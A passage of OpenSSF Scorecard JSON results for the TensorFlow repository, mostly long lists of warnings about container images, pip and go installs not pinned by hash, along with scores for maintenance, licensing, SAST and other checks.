pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete 